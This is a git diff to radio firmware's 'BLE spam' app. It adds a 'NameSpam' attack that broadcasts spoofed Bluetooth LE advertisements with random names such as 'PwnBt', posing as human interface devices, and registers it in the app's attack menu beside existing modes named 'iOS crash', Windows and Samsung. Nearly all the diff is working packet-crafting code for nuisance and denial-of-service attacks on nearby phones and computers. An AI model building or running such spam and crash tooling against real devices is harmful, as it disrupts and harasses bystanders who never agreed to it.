diff --git a/firmware/application/external/blespam/ui_blespam.cpp b/firmware/application/external/blespam/ui_blespam.cpp
index 7b7de6f8..68dc7442 100644
--- a/firmware/application/external/blespam/ui_blespam.cpp
+++ b/firmware/application/external/blespam/ui_blespam.cpp
@@ -20,7 +20,7 @@
  * Boston, MA 02110-1301, USA.
  */
 
-// Code from https://github.com/Flipper-XFW/Xtreme-Apps/tree/04c3a60093e2c2378e79498b4505aa8072980a42/ble_spam/protocols
+// Code from https://github.com/Next-Flip/Momentum-Apps/blob/dev/ble_spam/
 // Thanks for the work of the original creators!
 
 #include "ui_blespam.hpp"
@@ -109,7 +109,8 @@ BLESpamView::BLESpamView(NavigationView& nav)
     console.writeln("Based on work of:");
     console.writeln("@Willy-JL, @ECTO-1A,");
     console.writeln("@Spooks4576, @iNetro");
-    console.writeln("");
+    console.writeln("---");
+    console.writeln("iOS crash + Android\nattacks are patched\non new devices.");
 #endif
     changePacket(true);  // init
 }
@@ -293,6 +294,39 @@ void BLESpamView::createWindowsPacket() {
     std::copy(res.begin(), res.end(), advertisementData);
 }
 
+void BLESpamView::createNameSpamPacket() {
+    const char* names[] = {"PortaHack", "PwnBt", "iSpam", "GenericFoodVagon", "SignalSnoop", "ByteBandit", "RadioRogue", "RadioRebel", "ByteBlast"};
+
+    const char* name = names[rand() % 9];  //"PortaHack";
+    uint8_t name_len = strlen(name);
+
+    uint8_t size = 12 + name_len;
+    uint8_t i = 0;
+
+    packet[i++] = 2;     // Size
+    packet[i++] = 0x01;  // AD Type (Flags)
+    packet[i++] = 0x06;  // Flags
+
+    packet[i++] = name_len + 1;          // Size
+    packet[i++] = 0x09;                  // AD Type (Complete Local Name)
+    memcpy(&packet[i], name, name_len);  // Device Name
+    i += name_len;
+
+    packet[i++] = 3;     // Size
+    packet[i++] = 0x02;  // AD Type (Incomplete Service UUID List)
+    packet[i++] = 0x12;  // Service UUID (Human Interface Device)
+    packet[i++] = 0x18;  // ...
+
+    packet[i++] = 2;     // Size
+    packet[i++] = 0x0A;  // AD Type (Tx Power Level)
+    packet[i++] = 0x00;  // 0dBm
+
+    // size, packet
+    std::string res = to_string_hex_array(packet, size);
+    memset(advertisementData, 0, sizeof(advertisementData));
+    std::copy(res.begin(), res.end(), advertisementData);
+}
+
 void BLESpamView::createIosPacket(bool crash = false) {
     uint8_t ios_packet_sizes[18] = {0, 0, 0, 0, 0, 24, 0, 31, 0, 12, 0, 0, 20, 0, 12, 11, 11, 17};
     ContinuityType type;
@@ -515,6 +549,7 @@ void BLESpamView::createAnyPacket(bool safe) {
         ATK_IOS,
         ATK_WINDOWS,
         ATK_SAMSUNG,
+        ATK_NAMESPAM,
         ATK_IOS_CRASH};
     ATK_TYPE attackType = type[rand() % (COUNT_OF(type) - (1 ? safe : 0))];
     createPacket(attackType);
@@ -534,6 +569,9 @@ void BLESpamView::createPacket(ATK_TYPE attackType) {
         case ATK_WINDOWS:
             createWindowsPacket();
             break;
+        case ATK_NAMESPAM:
+            createNameSpamPacket();
+            break;
         case ATK_ALL_SAFE:
             createAnyPacket(true);
             break;
diff --git a/firmware/application/external/blespam/ui_blespam.hpp b/firmware/application/external/blespam/ui_blespam.hpp
index 73b6e86a..4010c05e 100644
--- a/firmware/application/external/blespam/ui_blespam.hpp
+++ b/firmware/application/external/blespam/ui_blespam.hpp
@@ -50,6 +50,7 @@ enum ATK_TYPE {
     ATK_IOS_CRASH,
     ATK_WINDOWS,
     ATK_SAMSUNG,
+    ATK_NAMESPAM,
     ATK_ALL_SAFE,
     ATK_ALL
 };
@@ -127,8 +128,9 @@ class BLESpamView : public View {
          {"iOs crash", 2},
          {"Windows", 3},
          {"Samsung", 4},
-         {"All-Safe", 5},
-         {"All", 6}}};
+         {"NameSpam", 5},
+         {"All-Safe", 6},
+         {"All", 7}}};
 
     bool is_running{false};
 
@@ -152,6 +154,7 @@ class BLESpamView : public View {
     void createIosPacket(bool crash);
     void createSamsungPacket();
     void createWindowsPacket();
+    void createNameSpamPacket();
     void createAnyPacket(bool safe);
     void createPacket(ATK_TYPE attackType);
     void changePacket(bool forced);